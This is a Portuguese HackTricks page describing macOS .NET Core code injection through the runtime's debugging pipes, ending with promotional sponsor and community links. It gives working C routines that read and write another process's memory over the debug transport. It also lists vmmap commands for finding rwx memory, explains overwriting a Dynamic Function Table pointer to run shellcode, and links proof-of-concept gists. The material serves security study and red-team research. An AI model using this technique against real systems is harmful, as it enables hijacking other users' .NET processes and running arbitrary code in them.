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## Depuração do .NET Core <a href="#net-core-debugging" id="net-core-debugging"></a>
### **Estabelecer uma sessão de depuração** <a href="#net-core-debugging" id="net-core-debugging"></a>
[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) é responsável por lidar com a **comunicação** entre o depurador e o depurado do .NET.\
Ele cria 2 pipes nomeados por processo .Net em [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) chamando [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) (um terminará em **`-in`** e o outro em **`-out`** e o restante do nome será o mesmo).
Portanto, se você for para o diretório **`$TMPDIR`** do usuário, poderá encontrar **fifos de depuração** que poderá usar para depurar aplicativos .Net:
A função [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) lidará com a comunicação de um depurador.
A primeira coisa que um depurador precisa fazer é **criar uma nova sessão de depuração**. Isso é feito **enviando uma mensagem via o pipe `out`** começando com uma estrutura `MessageHeader`, que podemos obter do código-fonte do .NET:
Ao enviar nossa solicitação de sessão, **leia do pipe `out` um cabeçalho** que indicará **se** nossa solicitação para estabelecer se uma sessão de depuração foi **bem-sucedida** ou não:
```c
read(rd, &sReceiveHeader, sizeof(MessageHeader));
```
### Ler Memória
Com uma sessão de depuração estabelecida, é possível **ler a memória** usando o tipo de mensagem [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). Para ler alguma memória, o código principal necessário seria:
```c
bool readMemory(void *addr, int len, unsigned char **output) {
*output = (unsigned char *)malloc(len);
if (*output == NULL) {
return false;
}
sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = 0;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) <0){
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) <0){
return false;
}
// Make sure that memory could be read before we attempt to read further
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
memset(*output, 0, len);
// Read the memory from the debugee
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) <0){
return false;
}
return true;
}
```
### Escrever na memória
O código de prova de conceito (POC) pode ser encontrado [aqui](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b).
```c
bool writeMemory(void *addr, int len, unsigned char *input) {
sSendHeader.m_dwId++; // We increment this for each request
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
sSendHeader.m_cbDataBlock = len;
// Write the header
if (write(wr, &sSendHeader, sizeof(sSendHeader)) <0){
return false;
}
// Write the data
if (write(wr, input, len) <0){
return false;
}
// Read the response header
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) <0){
return false;
}
// Ensure our memory write was successful
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
return false;
}
return true;
}
```
O código POC usado para fazer isso pode ser encontrado [aqui](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5).
### Execução de código .NET Core <a href="#net-core-code-execution" id="net-core-code-execution"></a>
O primeiro passo é identificar, por exemplo, uma região de memória com **`rwx`** em execução para salvar o shellcode a ser executado. Isso pode ser facilmente feito com:
```bash
vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"
```
Em seguida, para acionar a execução, seria necessário saber algum lugar onde um ponteiro de função é armazenado para sobrescrevê-lo. É possível sobrescrever um ponteiro dentro da **Tabela de Funções Dinâmicas (DFT)**, que é usada pelo tempo de execução do .NET Core para fornecer funções auxiliares para a compilação JIT. Uma lista de ponteiros de função suportados pode ser encontrada em [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h).
Nas versões x64, isso é direto usando a técnica de **caça de assinaturas** semelhante ao mimikatz para procurar em **`libcorclr.dll`** uma referência ao símbolo **`_hlpDynamicFuncTable`**, que podemos desreferenciar:
Tudo o que resta a fazer é encontrar um endereço a partir do qual iniciar nossa pesquisa de assinatura. Para fazer isso, aproveitamos outra função de depurador exposta, **`MT_GetDCB`**. Isso retorna vários bits de informações úteis sobre o processo de destino, mas para o nosso caso, estamos interessados em um campo retornado contendo o **endereço de uma função auxiliar**, **`m_helperRemoteStartAddr`**. Usando este endereço, sabemos exatamente **onde `libcorclr.dll` está localizado** na memória do processo de destino e podemos iniciar nossa pesquisa pela DFT.
Sabendo deste endereço, é possível sobrescrever o ponteiro de função com o nosso shellcode.
* Esta técnica foi retirada de [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).